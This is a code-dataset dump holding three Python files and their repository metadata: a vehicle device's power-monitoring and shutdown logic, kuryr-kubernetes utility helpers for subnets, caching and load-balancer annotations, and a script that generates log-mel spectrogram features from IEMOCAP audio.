disable_charging |= (self.params.get("ForcePowerDown") == b"1")
return disable_charging
# See if we need to shutdown
def should_shutdown(self, pandaState, offroad_timestamp, started_seen, LEON):
if pandaState is None or offroad_timestamp is None:
return False
now = sec_since_boot()
panda_charging = (pandaState.pandaState.usbPowerMode != log.PandaState.UsbPowerMode.client)
BATT_PERC_OFF = 10 if LEON else 3
should_shutdown = False
# Wait until we have shut down charging before powering down
should_shutdown |= (not panda_charging and self.should_disable_charging(pandaState, offroad_timestamp))
should_shutdown |= ((HARDWARE.get_battery_capacity() < BATT_PERC_OFF) and (not HARDWARE.get_battery_charging()) and ((now - offroad_timestamp) > 60))
should_shutdown &= started_seen
return should_shutdown
| 44.639785 | 153 | 0.696375 | import random
import threading
import time
from statistics import mean
from cereal import log
from common.params import Params, put_nonblocking
from common.realtime import sec_since_boot
from selfdrive.hardware import HARDWARE
from selfdrive.swaglog import cloudlog
CAR_VOLTAGE_LOW_PASS_K = 0.091
CAR_BATTERY_CAPACITY_uWh = 30e6
CAR_CHARGING_RATE_W = 45
VBATT_PAUSE_CHARGING = 11.5
MAX_TIME_OFFROAD_S = 3*3600
class PowerMonitoring:
def __init__(self):
self.params = Params()
self.last_measurement_time = None
self.last_save_time = 0
self.power_used_uWh = 0
self.next_pulsed_measurement_time = None
self.car_voltage_mV = 12e3
self.integration_lock = threading.Lock()
car_battery_capacity_uWh = self.params.get("CarBatteryCapacity")
if car_battery_capacity_uWh is None:
car_battery_capacity_uWh = 0
self.car_battery_capacity_uWh = max((CAR_BATTERY_CAPACITY_uWh / 10), int(car_battery_capacity_uWh))
# Calculation tick
def calculate(self, pandaState):
try:
now = sec_since_boot()
# If pandaState is None, we're probably not in a car, so we don't care
if pandaState is None or pandaState.pandaState.pandaType == log.PandaState.PandaType.unknown:
with self.integration_lock:
self.last_measurement_time = None
self.next_pulsed_measurement_time = None
self.power_used_uWh = 0
return
# Low-pass battery voltage
self.car_voltage_mV = ((pandaState.pandaState.voltage * CAR_VOLTAGE_LOW_PASS_K) + (self.car_voltage_mV * (1 - CAR_VOLTAGE_LOW_PASS_K)))
# Cap the car battery power and save it in a param every 10-ish seconds
self.car_battery_capacity_uWh = max(self.car_battery_capacity_uWh, 0)
self.car_battery_capacity_uWh = min(self.car_battery_capacity_uWh, CAR_BATTERY_CAPACITY_uWh)
if now - self.last_save_time >= 10:
put_nonblocking("CarBatteryCapacity", str(int(self.car_battery_capacity_uWh)))
self.last_save_time = now
# First measurement, set integration time
with self.integration_lock:
if self.last_measurement_time is None:
self.last_measurement_time = now
return
if (pandaState.pandaState.ignitionLine or pandaState.pandaState.ignitionCan):
# If there is ignition, we integrate the charging rate of the car
with self.integration_lock:
self.power_used_uWh = 0
integration_time_h = (now - self.last_measurement_time) / 3600
if integration_time_h < 0:
raise ValueError(f"Negative integration time: {integration_time_h}h")
self.car_battery_capacity_uWh += (CAR_CHARGING_RATE_W * 1e6 * integration_time_h)
self.last_measurement_time = now
else:
# No ignition, we integrate the offroad power used by the device
is_uno = pandaState.pandaState.pandaType == log.PandaState.PandaType.uno
# Get current power draw somehow
current_power = HARDWARE.get_current_power_draw() # pylint: disable=assignment-from-none
if current_power is not None:
pass
elif HARDWARE.get_battery_status() == 'Discharging':
# If the battery is discharging, we can use this measurement
# On C2: this is low by about 10-15%, probably mostly due to UNO draw not being factored in
current_power = ((HARDWARE.get_battery_voltage() / 1000000) * (HARDWARE.get_battery_current() / 1000000))
elif (self.next_pulsed_measurement_time is not None) and (self.next_pulsed_measurement_time <= now):
# TODO: Figure out why this is off by a factor of 3/4???
FUDGE_FACTOR = 1.33
# Turn off charging for about 10 sec in a thread that does not get killed on SIGINT, and perform measurement here to avoid blocking thermal
def perform_pulse_measurement(now):
try:
HARDWARE.set_battery_charging(False)
time.sleep(5)
# Measure for a few sec to get a good average
voltages = []
currents = []
for _ in range(6):
voltages.append(HARDWARE.get_battery_voltage())
currents.append(HARDWARE.get_battery_current())
time.sleep(1)
current_power = ((mean(voltages) / 1000000) * (mean(currents) / 1000000))
self._perform_integration(now, current_power * FUDGE_FACTOR)
# Enable charging again
HARDWARE.set_battery_charging(True)
except Exception:
cloudlog.exception("Pulsed power measurement failed")
# Start pulsed measurement and return
threading.Thread(target=perform_pulse_measurement, args=(now,)).start()
self.next_pulsed_measurement_time = None
return
elif self.next_pulsed_measurement_time is None and not is_uno:
# On a charging EON with black panda, or drawing more than 400mA out of a white/grey one
# Only way to get the power draw is to turn off charging for a few sec and check what the discharging rate is
# We shouldn't do this very often, so make sure it has been some long-ish random time interval
self.next_pulsed_measurement_time = now + random.randint(120, 180)
return
else:
return
self._perform_integration(now, current_power)
except Exception:
cloudlog.exception("Power monitoring calculation failed")
def _perform_integration(self, t, current_power):
with self.integration_lock:
try:
if self.last_measurement_time:
integration_time_h = (t - self.last_measurement_time) / 3600
power_used = (current_power * 1000000) * integration_time_h
if power_used < 0:
raise ValueError(f"Negative power used! Integration time: {integration_time_h} h Current Power: {power_used} uWh")
self.power_used_uWh += power_used
self.car_battery_capacity_uWh -= power_used
self.last_measurement_time = t
except Exception:
cloudlog.exception("Integration failed")
def get_power_used(self):
return int(self.power_used_uWh)
def get_car_battery_capacity(self):
return int(self.car_battery_capacity_uWh)
def should_disable_charging(self, pandaState, offroad_timestamp):
if pandaState is None or offroad_timestamp is None:
return False
now = sec_since_boot()
disable_charging = False
disable_charging |= (now - offroad_timestamp) > MAX_TIME_OFFROAD_S
disable_charging |= (self.car_voltage_mV < (VBATT_PAUSE_CHARGING * 1e3))
disable_charging |= (self.car_battery_capacity_uWh <= 0)
disable_charging &= (not pandaState.pandaState.ignitionLine and not pandaState.pandaState.ignitionCan)
disable_charging &= (self.params.get("DisablePowerDown") != b"1")
disable_charging |= (self.params.get("ForcePowerDown") == b"1")
return disable_charging
def should_shutdown(self, pandaState, offroad_timestamp, started_seen, LEON):
if pandaState is None or offroad_timestamp is None:
return False
now = sec_since_boot()
panda_charging = (pandaState.pandaState.usbPowerMode != log.PandaState.UsbPowerMode.client)
BATT_PERC_OFF = 10 if LEON else 3
should_shutdown = False
should_shutdown |= (not panda_charging and self.should_disable_charging(pandaState, offroad_timestamp))
should_shutdown |= ((HARDWARE.get_battery_capacity() < BATT_PERC_OFF) and (not HARDWARE.get_battery_charging()) and ((now - offroad_timestamp) > 60))
should_shutdown &= started_seen
return should_shutdown
| true | true |
f73c2db0eb83f70a6f3d4dea8b6ce39e1c3bbd56 | 12,053 | py | Python | kuryr_kubernetes/utils.py | MaysaMacedo/kuryr-kubernetes-1 | e4ba3896974e98dc46cb1afd9cbec42646250d72 | [
"Apache-2.0"
] | null | null | null | kuryr_kubernetes/utils.py | MaysaMacedo/kuryr-kubernetes-1 | e4ba3896974e98dc46cb1afd9cbec42646250d72 | [
"Apache-2.0"
] | null | null | null | kuryr_kubernetes/utils.py | MaysaMacedo/kuryr-kubernetes-1 | e4ba3896974e98dc46cb1afd9cbec42646250d72 | [
"Apache-2.0"
] | null | null | null | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import random
import socket
import time
import requests
from openstack import exceptions as os_exc
from os_vif import objects
from oslo_cache import core as cache
from oslo_config import cfg
from oslo_log import log
from oslo_serialization import jsonutils
from kuryr_kubernetes import clients
from kuryr_kubernetes import constants
from kuryr_kubernetes import exceptions
from kuryr_kubernetes.objects import lbaas as obj_lbaas
from kuryr_kubernetes.objects import vif
from kuryr_kubernetes import os_vif_util
CONF = cfg.CONF
LOG = log.getLogger(__name__)
VALID_MULTI_POD_POOLS_OPTS = {'noop': ['neutron-vif',
'nested-vlan',
'nested-macvlan',
'sriov',
'nested-dpdk'],
'neutron': ['neutron-vif'],
'nested': ['nested-vlan'],
}
DEFAULT_TIMEOUT = 500
DEFAULT_INTERVAL = 3
subnet_caching_opts = [
cfg.BoolOpt('caching', default=True),
cfg.IntOpt('cache_time', default=3600),
]
nodes_caching_opts = [
cfg.BoolOpt('caching', default=True),
cfg.IntOpt('cache_time', default=3600),
]
CONF.register_opts(subnet_caching_opts, "subnet_caching")
CONF.register_opts(nodes_caching_opts, "nodes_caching")
cache.configure(CONF)
subnet_cache_region = cache.create_region()
MEMOIZE = cache.get_memoization_decorator(
CONF, subnet_cache_region, "subnet_caching")
cache.configure_cache_region(CONF, subnet_cache_region)
nodes_cache_region = cache.create_region()
MEMOIZE_NODE = cache.get_memoization_decorator(
CONF, nodes_cache_region, "nodes_caching")
cache.configure_cache_region(CONF, nodes_cache_region)
def utf8_json_decoder(byte_data):
"""Deserializes the bytes into UTF-8 encoded JSON.
:param byte_data: The bytes to be converted into the UTF-8 encoded JSON.
:returns: The UTF-8 encoded JSON represented by Python dictionary format.
"""
return jsonutils.loads(byte_data.decode('utf8'))
def convert_netns(netns):
"""Convert /proc based netns path to Docker-friendly path.
When CONF.docker_mode is set this method will change /proc to
/CONF.netns_proc_dir. This allows netns manipulations to work when running
in Docker container on Kubernetes host.
:param netns: netns path to convert.
:return: Converted netns path.
"""
if CONF.cni_daemon.docker_mode:
return netns.replace('/proc', CONF.cni_daemon.netns_proc_dir)
else:
return netns
def get_pod_unique_name(pod):
"""Returns a unique name for the pod.
It returns a pod unique name for the pod composed of its name and the
namespace it is running on.
:returns: String with namespace/name of the pod
"""
return "%(namespace)s/%(name)s" % pod['metadata']
def check_suitable_multi_pool_driver_opt(pool_driver, pod_driver):
return pod_driver in VALID_MULTI_POD_POOLS_OPTS.get(pool_driver, [])
def exponential_sleep(deadline, attempt, interval=DEFAULT_INTERVAL):
"""Sleep for exponential duration.
This implements a variation of exponential backoff algorithm [1] and
ensures that there is a minimal time `interval` to sleep.
(expected backoff E(c) = interval * 2 ** c / 2).
[1] https://en.wikipedia.org/wiki/Exponential_backoff
:param deadline: sleep timeout duration in seconds.
:param attempt: attempt count of sleep function.
:param interval: minimal time interval to sleep
:return: the actual time that we've slept
"""
now = time.time()
seconds_left = deadline - now
if seconds_left <= 0:
return 0
to_sleep = random.randint(1, 2 ** attempt - 1) * interval
if to_sleep > seconds_left:
to_sleep = seconds_left
if to_sleep < interval:
to_sleep = interval
time.sleep(to_sleep)
return to_sleep
def get_node_name():
# leader-elector container based on K8s way of doing leader election is
# assuming that hostname it sees is the node id. Containers within a pod
# are sharing the hostname, so this will match what leader-elector returns.
return socket.gethostname()
def get_leader_name():
url = 'http://localhost:%d' % CONF.kubernetes.controller_ha_elector_port
try:
return requests.get(url).json()['name']
except Exception:
LOG.exception('Error when fetching current leader pod name.')
# NOTE(dulek): Assuming there's no leader when we can't contact leader
# elector container.
return None
@MEMOIZE_NODE
def get_nodes_ips():
"""Get the IPs of the trunk ports associated to the deployment."""
trunk_ips = []
os_net = clients.get_network_client()
tags = CONF.neutron_defaults.resource_tags
if tags:
ports = os_net.ports(status='ACTIVE', tags=tags)
else:
# NOTE(ltomasbo: if tags are not used, assume all the trunk ports are
# part of the kuryr deployment
ports = os_net.ports(status='ACTIVE')
for port in ports:
if port.trunk_details:
trunk_ips.append(port.fixed_ips[0]['ip_address'])
return trunk_ips
@MEMOIZE
def get_subnet(subnet_id):
os_net = clients.get_network_client()
n_subnet = os_net.get_subnet(subnet_id)
n_network = os_net.get_network(n_subnet.network_id)
subnet = os_vif_util.neutron_to_osvif_subnet(n_subnet)
network = os_vif_util.neutron_to_osvif_network(n_network)
network.subnets.objects.append(subnet)
return network
@MEMOIZE
def get_subnet_cidr(subnet_id):
os_net = clients.get_network_client()
try:
subnet_obj = os_net.get_subnet(subnet_id)
except os_exc.ResourceNotFound:
LOG.exception("Subnet %s CIDR not found!", subnet_id)
raise
return subnet_obj.cidr
def extract_pod_annotation(annotation):
obj = objects.base.VersionedObject.obj_from_primitive(annotation)
# FIXME(dulek): This is code to maintain compatibility with Queens. We can
# remove it once we stop supporting upgrading from Queens,
# most likely in Stein. Note that this requires being sure
# that *all* the pod annotations are in new format.
if obj.obj_name() != vif.PodState.obj_name():
# This is old format of annotations - single VIF object. We need to
# pack it in PodState object.
obj = vif.PodState(default_vif=obj)
return obj
def has_limit(quota):
NO_LIMIT = -1
return quota['limit'] != NO_LIMIT
def is_available(resource, resource_quota):
availability = resource_quota['limit'] - resource_quota['used']
if availability <= 0:
LOG.error("Quota exceeded for resource: %s", resource)
return False
return True
def has_kuryr_crd(crd_url):
k8s = clients.get_kubernetes_client()
try:
k8s.get(crd_url, json=False, headers={'Connection': 'close'})
except exceptions.K8sClientException:
LOG.exception("Kubernetes Client Exception fetching"
" CRD. %s" % exceptions.K8sClientException)
return False
return True
def get_lbaas_spec(k8s_object):
# k8s_object can be service or endpoint
try:
annotations = k8s_object['metadata']['annotations']
annotation = annotations[constants.K8S_ANNOTATION_LBAAS_SPEC]
except KeyError:
return None
obj_dict = jsonutils.loads(annotation)
obj = obj_lbaas.LBaaSServiceSpec.obj_from_primitive(obj_dict)
LOG.debug("Got LBaaSServiceSpec from annotation: %r", obj)
return obj
def set_lbaas_spec(service, lbaas_spec):
# TODO(ivc): extract annotation interactions
if lbaas_spec is None:
LOG.debug("Removing LBaaSServiceSpec annotation: %r", lbaas_spec)
annotation = None
else:
lbaas_spec.obj_reset_changes(recursive=True)
LOG.debug("Setting LBaaSServiceSpec annotation: %r", lbaas_spec)
annotation = jsonutils.dumps(lbaas_spec.obj_to_primitive(),
sort_keys=True)
svc_link = service['metadata']['selfLink']
ep_link = get_endpoints_link(service)
k8s = clients.get_kubernetes_client()
try:
k8s.annotate(ep_link,
{constants.K8S_ANNOTATION_LBAAS_SPEC: annotation})
except exceptions.K8sResourceNotFound as ex:
LOG.debug("Failed to annotate svc: %s", ex)
raise exceptions.ResourceNotReady(ep_link)
except exceptions.K8sClientException:
LOG.debug("Failed to annotate endpoint %r", ep_link)
raise
try:
k8s.annotate(svc_link,
{constants.K8S_ANNOTATION_LBAAS_SPEC: annotation},
resource_version=service['metadata']['resourceVersion'])
except exceptions.K8sResourceNotFound as ex:
LOG.debug("Failed to annotate svc: %s", ex)
raise exceptions.ResourceNotReady(svc_link)
except exceptions.K8sClientException:
LOG.exception("Failed to annotate svc: %r", svc_link)
raise
def get_lbaas_state(endpoint):
try:
annotations = endpoint['metadata']['annotations']
annotation = annotations[constants.K8S_ANNOTATION_LBAAS_STATE]
except KeyError:
return None
obj_dict = jsonutils.loads(annotation)
obj = obj_lbaas.LBaaSState.obj_from_primitive(obj_dict)
LOG.debug("Got LBaaSState from annotation: %r", obj)
return obj
def set_lbaas_state(endpoints, lbaas_state):
# TODO(ivc): extract annotation interactions
if lbaas_state is None:
LOG.debug("Removing LBaaSState annotation: %r", lbaas_state)
annotation = None
else:
lbaas_state.obj_reset_changes(recursive=True)
LOG.debug("Setting LBaaSState annotation: %r", lbaas_state)
annotation = jsonutils.dumps(lbaas_state.obj_to_primitive(),
sort_keys=True)
k8s = clients.get_kubernetes_client()
k8s.annotate(endpoints['metadata']['selfLink'],
{constants.K8S_ANNOTATION_LBAAS_STATE: annotation},
resource_version=endpoints['metadata']['resourceVersion'])
def get_endpoints_link(service):
svc_link = service['metadata']['selfLink']
link_parts = svc_link.split('/')
if link_parts[-2] != 'services':
raise exceptions.IntegrityError(
f"Unsupported service link: {svc_link}")
link_parts[-2] = 'endpoints'
return "/".join(link_parts)
def has_port_changes(service, lbaas_spec):
link = service['metadata']['selfLink']
fields = obj_lbaas.LBaaSPortSpec.fields
svc_port_set = {tuple(port[attr] for attr in fields)
for port in get_service_ports(service)}
spec_port_set = {tuple(getattr(port, attr)
for attr in fields
if port.obj_attr_is_set(attr))
for port in lbaas_spec.ports}
if svc_port_set != spec_port_set:
LOG.debug("LBaaS spec ports %(spec_ports)s != %(svc_ports)s "
"for %(link)s" % {'spec_ports': spec_port_set,
'svc_ports': svc_port_set,
'link': link})
return svc_port_set != spec_port_set
def get_service_ports(service):
return [{'name': port.get('name'),
'protocol': port.get('protocol', 'TCP'),
'port': port['port'],
'targetPort': str(port['targetPort'])}
for port in service['spec']['ports']]
| 33.856742 | 79 | 0.675516 |
import random
import socket
import time
import requests
from openstack import exceptions as os_exc
from os_vif import objects
from oslo_cache import core as cache
from oslo_config import cfg
from oslo_log import log
from oslo_serialization import jsonutils
from kuryr_kubernetes import clients
from kuryr_kubernetes import constants
from kuryr_kubernetes import exceptions
from kuryr_kubernetes.objects import lbaas as obj_lbaas
from kuryr_kubernetes.objects import vif
from kuryr_kubernetes import os_vif_util
CONF = cfg.CONF
LOG = log.getLogger(__name__)
VALID_MULTI_POD_POOLS_OPTS = {'noop': ['neutron-vif',
'nested-vlan',
'nested-macvlan',
'sriov',
'nested-dpdk'],
'neutron': ['neutron-vif'],
'nested': ['nested-vlan'],
}
DEFAULT_TIMEOUT = 500
DEFAULT_INTERVAL = 3
subnet_caching_opts = [
cfg.BoolOpt('caching', default=True),
cfg.IntOpt('cache_time', default=3600),
]
nodes_caching_opts = [
cfg.BoolOpt('caching', default=True),
cfg.IntOpt('cache_time', default=3600),
]
CONF.register_opts(subnet_caching_opts, "subnet_caching")
CONF.register_opts(nodes_caching_opts, "nodes_caching")
cache.configure(CONF)
subnet_cache_region = cache.create_region()
MEMOIZE = cache.get_memoization_decorator(
CONF, subnet_cache_region, "subnet_caching")
cache.configure_cache_region(CONF, subnet_cache_region)
nodes_cache_region = cache.create_region()
MEMOIZE_NODE = cache.get_memoization_decorator(
CONF, nodes_cache_region, "nodes_caching")
cache.configure_cache_region(CONF, nodes_cache_region)
def utf8_json_decoder(byte_data):
return jsonutils.loads(byte_data.decode('utf8'))
def convert_netns(netns):
if CONF.cni_daemon.docker_mode:
return netns.replace('/proc', CONF.cni_daemon.netns_proc_dir)
else:
return netns
def get_pod_unique_name(pod):
return "%(namespace)s/%(name)s" % pod['metadata']
def check_suitable_multi_pool_driver_opt(pool_driver, pod_driver):
return pod_driver in VALID_MULTI_POD_POOLS_OPTS.get(pool_driver, [])
def exponential_sleep(deadline, attempt, interval=DEFAULT_INTERVAL):
now = time.time()
seconds_left = deadline - now
if seconds_left <= 0:
return 0
to_sleep = random.randint(1, 2 ** attempt - 1) * interval
if to_sleep > seconds_left:
to_sleep = seconds_left
if to_sleep < interval:
to_sleep = interval
time.sleep(to_sleep)
return to_sleep
def get_node_name():
return socket.gethostname()
def get_leader_name():
url = 'http://localhost:%d' % CONF.kubernetes.controller_ha_elector_port
try:
return requests.get(url).json()['name']
except Exception:
LOG.exception('Error when fetching current leader pod name.')
return None
@MEMOIZE_NODE
def get_nodes_ips():
trunk_ips = []
os_net = clients.get_network_client()
tags = CONF.neutron_defaults.resource_tags
if tags:
ports = os_net.ports(status='ACTIVE', tags=tags)
else:
ports = os_net.ports(status='ACTIVE')
for port in ports:
if port.trunk_details:
trunk_ips.append(port.fixed_ips[0]['ip_address'])
return trunk_ips
@MEMOIZE
def get_subnet(subnet_id):
os_net = clients.get_network_client()
n_subnet = os_net.get_subnet(subnet_id)
n_network = os_net.get_network(n_subnet.network_id)
subnet = os_vif_util.neutron_to_osvif_subnet(n_subnet)
network = os_vif_util.neutron_to_osvif_network(n_network)
network.subnets.objects.append(subnet)
return network
@MEMOIZE
def get_subnet_cidr(subnet_id):
os_net = clients.get_network_client()
try:
subnet_obj = os_net.get_subnet(subnet_id)
except os_exc.ResourceNotFound:
LOG.exception("Subnet %s CIDR not found!", subnet_id)
raise
return subnet_obj.cidr
def extract_pod_annotation(annotation):
obj = objects.base.VersionedObject.obj_from_primitive(annotation)
if obj.obj_name() != vif.PodState.obj_name():
obj = vif.PodState(default_vif=obj)
return obj
def has_limit(quota):
NO_LIMIT = -1
return quota['limit'] != NO_LIMIT
def is_available(resource, resource_quota):
availability = resource_quota['limit'] - resource_quota['used']
if availability <= 0:
LOG.error("Quota exceeded for resource: %s", resource)
return False
return True
def has_kuryr_crd(crd_url):
k8s = clients.get_kubernetes_client()
try:
k8s.get(crd_url, json=False, headers={'Connection': 'close'})
except exceptions.K8sClientException:
LOG.exception("Kubernetes Client Exception fetching"
" CRD. %s" % exceptions.K8sClientException)
return False
return True
def get_lbaas_spec(k8s_object):
try:
annotations = k8s_object['metadata']['annotations']
annotation = annotations[constants.K8S_ANNOTATION_LBAAS_SPEC]
except KeyError:
return None
obj_dict = jsonutils.loads(annotation)
obj = obj_lbaas.LBaaSServiceSpec.obj_from_primitive(obj_dict)
LOG.debug("Got LBaaSServiceSpec from annotation: %r", obj)
return obj
def set_lbaas_spec(service, lbaas_spec):
if lbaas_spec is None:
LOG.debug("Removing LBaaSServiceSpec annotation: %r", lbaas_spec)
annotation = None
else:
lbaas_spec.obj_reset_changes(recursive=True)
LOG.debug("Setting LBaaSServiceSpec annotation: %r", lbaas_spec)
annotation = jsonutils.dumps(lbaas_spec.obj_to_primitive(),
sort_keys=True)
svc_link = service['metadata']['selfLink']
ep_link = get_endpoints_link(service)
k8s = clients.get_kubernetes_client()
try:
k8s.annotate(ep_link,
{constants.K8S_ANNOTATION_LBAAS_SPEC: annotation})
except exceptions.K8sResourceNotFound as ex:
LOG.debug("Failed to annotate svc: %s", ex)
raise exceptions.ResourceNotReady(ep_link)
except exceptions.K8sClientException:
LOG.debug("Failed to annotate endpoint %r", ep_link)
raise
try:
k8s.annotate(svc_link,
{constants.K8S_ANNOTATION_LBAAS_SPEC: annotation},
resource_version=service['metadata']['resourceVersion'])
except exceptions.K8sResourceNotFound as ex:
LOG.debug("Failed to annotate svc: %s", ex)
raise exceptions.ResourceNotReady(svc_link)
except exceptions.K8sClientException:
LOG.exception("Failed to annotate svc: %r", svc_link)
raise
def get_lbaas_state(endpoint):
try:
annotations = endpoint['metadata']['annotations']
annotation = annotations[constants.K8S_ANNOTATION_LBAAS_STATE]
except KeyError:
return None
obj_dict = jsonutils.loads(annotation)
obj = obj_lbaas.LBaaSState.obj_from_primitive(obj_dict)
LOG.debug("Got LBaaSState from annotation: %r", obj)
return obj
def set_lbaas_state(endpoints, lbaas_state):
if lbaas_state is None:
LOG.debug("Removing LBaaSState annotation: %r", lbaas_state)
annotation = None
else:
lbaas_state.obj_reset_changes(recursive=True)
LOG.debug("Setting LBaaSState annotation: %r", lbaas_state)
annotation = jsonutils.dumps(lbaas_state.obj_to_primitive(),
sort_keys=True)
k8s = clients.get_kubernetes_client()
k8s.annotate(endpoints['metadata']['selfLink'],
{constants.K8S_ANNOTATION_LBAAS_STATE: annotation},
resource_version=endpoints['metadata']['resourceVersion'])
def get_endpoints_link(service):
svc_link = service['metadata']['selfLink']
link_parts = svc_link.split('/')
if link_parts[-2] != 'services':
raise exceptions.IntegrityError(
f"Unsupported service link: {svc_link}")
link_parts[-2] = 'endpoints'
return "/".join(link_parts)
def has_port_changes(service, lbaas_spec):
link = service['metadata']['selfLink']
fields = obj_lbaas.LBaaSPortSpec.fields
svc_port_set = {tuple(port[attr] for attr in fields)
for port in get_service_ports(service)}
spec_port_set = {tuple(getattr(port, attr)
for attr in fields
if port.obj_attr_is_set(attr))
for port in lbaas_spec.ports}
if svc_port_set != spec_port_set:
LOG.debug("LBaaS spec ports %(spec_ports)s != %(svc_ports)s "
"for %(link)s" % {'spec_ports': spec_port_set,
'svc_ports': svc_port_set,
'link': link})
return svc_port_set != spec_port_set
def get_service_ports(service):
return [{'name': port.get('name'),
'protocol': port.get('protocol', 'TCP'),
'port': port['port'],
'targetPort': str(port['targetPort'])}
for port in service['spec']['ports']]
| true | true |
f73c2dbaccbb63faac7110ef4d16045fffd597c7 | 5,953 | py | Python | dataset_preproc/preproc_audio/generate_spectogram.py | RicardoP0/multimodal-matchmap | aa44c574a57073833004172734394882889d8d3b | [
"MIT"
] | null | null | null | dataset_preproc/preproc_audio/generate_spectogram.py | RicardoP0/multimodal-matchmap | aa44c574a57073833004172734394882889d8d3b | [
"MIT"
] | null | null | null | dataset_preproc/preproc_audio/generate_spectogram.py | RicardoP0/multimodal-matchmap | aa44c574a57073833004172734394882889d8d3b | [
"MIT"
] | null | null | null | # %%
import pandas as pd
import librosa
import librosa.display
import os
import numpy as np
import joblib
def scale_minmax(X, min=0.0, max=1.0):
X_std = (X - X.min()) / (X.max() - X.min())
X_scaled = X_std * (max - min) + min
return X_scaled
def gen_melspect(
file_path,
output_name,
sr=None,
n_fft=2048,
n_mels=128,
win_length=None,
hop_length=512,
min_dur=8.0,
output_length=251,
image=False,
dataset="iemocap",
deltas=False,
start=None,
end=None,
means=None,
stds=None,
):
y, sr = librosa.load(file_path, sr=sr)
if means is not None:
y = (y - means) / stds
if start is not None:
y = y[int(start * sr) : int(end * sr)]
def pad(a, i):
return a[0:i] if a.shape[0] > i else np.hstack((a, np.zeros(i - a.shape[0])))
def trim_pad_sample(x):
samples = []
duration_s = x.shape[0] / float(sr)
if duration_s < min_dur:
samples.append(pad(x, int(sr * min_dur)))
elif duration_s / min_dur > 2 or (duration_s / min_dur) % 1 > 0.65:
pos = int(min_dur * sr)
samples = []
samples.append(x[:pos])
x = x[pos:]
dur_s = x.shape[0] / sr
if dur_s / min_dur > 2 or (dur_s / min_dur) % 1 > 0.65:
def append_sample(lst):
temp = []
for item in lst:
if len(item) > 1 and type(item) == list:
temp.append(item)
else:
temp.append(item)
return temp
for item in append_sample(trim_pad_sample(x)):
samples.append(item)
else:
x = x[: int(min_dur * float(sr))]
samples.append(x)
return samples
if dataset == "iemocap":
samples = trim_pad_sample(y)
else:
duration_s = y.shape[0] / float(sr)
if duration_s > min_dur:
y = y[: int(min_dur * sr)]
samples = [y]
k = 0
for item in samples:
y = item
res = librosa.feature.melspectrogram(
y,
sr=sr,
n_fft=n_fft,
n_mels=n_mels,
win_length=win_length,
hop_length=hop_length,
window="hamming",
fmin=300,
fmax=8000,
)
res = librosa.power_to_db(res, np.max)
if res.shape[1] > output_length:
res = res[:, :output_length]
# print(mfccs.shape)
elif res.shape[1] < output_length:
res = np.pad(res, ((0, 0), (0, output_length - res.shape[1])), "constant")
if deltas:
logmel_delta = librosa.feature.delta(res)
deltadelta = librosa.feature.delta(res, order=2)
if means is not None:
res = librosa.util.normalize(res)
logmel_delta = librosa.util.normalize(logmel_delta)
deltadelta = librosa.util.normalize(deltadelta)
res = np.stack([res, logmel_delta, deltadelta])
joblib.dump(res, output_name.format(k))
k += 1
# %%
if __name__ == "__main__":
n_mels = 128 # number of bins in spectrogram. Height of image
# time_steps = 384 # number of time-steps. Width of image
n_fft = 2048
hop_length = 512 # 1524 # number of samples per time-step in spectrogram
win_length = 128 # n_fft512
min_dur = 8.0
dataset = "iemocap"
grayscale = True
mlst = []
if dataset == "iemocap":
"""
pd.Series(mlst).describe()
count 2170.000000
mean 4.379649
std 3.415235
min 0.779937
25% 2.109938
50% 3.259937
75% 5.667500
max 34.138750
dtype: float64
"""
# load audio. Using example from librosa
print(os.getcwd())
source_path = "IEMOCAP_full_release.tar/IEMOCAP_full_release/Session{}/sentences/wav/"
dest_path = "datasets/IEMOCAP/LOGMEL_DELTAS/"
df = pd.read_csv("df_iemocap.csv")
processed_files = []
for _, row in df.iterrows():
if row.name in processed_files:
continue
sess_path = source_path.format(row.wav_file[4])
folder = row.wav_file[:-5]
source_file = os.path.join(sess_path, folder, row.wav_file + ".wav")
if not os.path.exists(dest_path + folder):
os.makedirs(dest_path + folder)
# print('dest',dest_path + i)
# print('source',file_path)
sr = 16000
preemph_coef = 0.97
sample_rate = sr
window_size = 0.025
window_stride = 0.01
num_mel_bins = 40
n_fft = 512 # int(sample_rate * window_size)
win_length = int(sample_rate * window_size) # None#
hop_length = int(sample_rate * window_stride) # 256#
same_rows = df[df.wav_file == row.wav_file]
init_start = 0.0
for _, i in same_rows.iterrows():
file_name = i.wav_file + "_" + str(i.name)
out = dest_path + folder + "/" + file_name + "_{}.joblib"
end = i.end_time - i.start_time + init_start
gen_melspect(
source_file,
out,
sr=sr,
min_dur=3.0,
output_length=300,
dataset=dataset,
n_fft=n_fft,
win_length=win_length,
hop_length=hop_length,
n_mels=num_mel_bins,
deltas=True,
start=init_start,
end=end,
)
init_start = end
processed_files.append(i.name)
| 29.914573 | 94 | 0.502772 |
import pandas as pd
import librosa
import librosa.display
import os
import numpy as np
import joblib
def scale_minmax(X, min=0.0, max=1.0):
X_std = (X - X.min()) / (X.max() - X.min())
X_scaled = X_std * (max - min) + min
return X_scaled
def gen_melspect(
file_path,
output_name,
sr=None,
n_fft=2048,
n_mels=128,
win_length=None,
hop_length=512,
min_dur=8.0,
output_length=251,
image=False,
dataset="iemocap",
deltas=False,
start=None,
end=None,
means=None,
stds=None,
):
y, sr = librosa.load(file_path, sr=sr)
if means is not None:
y = (y - means) / stds
if start is not None:
y = y[int(start * sr) : int(end * sr)]
def pad(a, i):
return a[0:i] if a.shape[0] > i else np.hstack((a, np.zeros(i - a.shape[0])))
def trim_pad_sample(x):
samples = []
duration_s = x.shape[0] / float(sr)
if duration_s < min_dur:
samples.append(pad(x, int(sr * min_dur)))
elif duration_s / min_dur > 2 or (duration_s / min_dur) % 1 > 0.65:
pos = int(min_dur * sr)
samples = []
samples.append(x[:pos])
x = x[pos:]
dur_s = x.shape[0] / sr
if dur_s / min_dur > 2 or (dur_s / min_dur) % 1 > 0.65:
def append_sample(lst):
temp = []
for item in lst:
if len(item) > 1 and type(item) == list:
temp.append(item)
else:
temp.append(item)
return temp
for item in append_sample(trim_pad_sample(x)):
samples.append(item)
else:
x = x[: int(min_dur * float(sr))]
samples.append(x)
return samples
if dataset == "iemocap":
samples = trim_pad_sample(y)
else:
duration_s = y.shape[0] / float(sr)
if duration_s > min_dur:
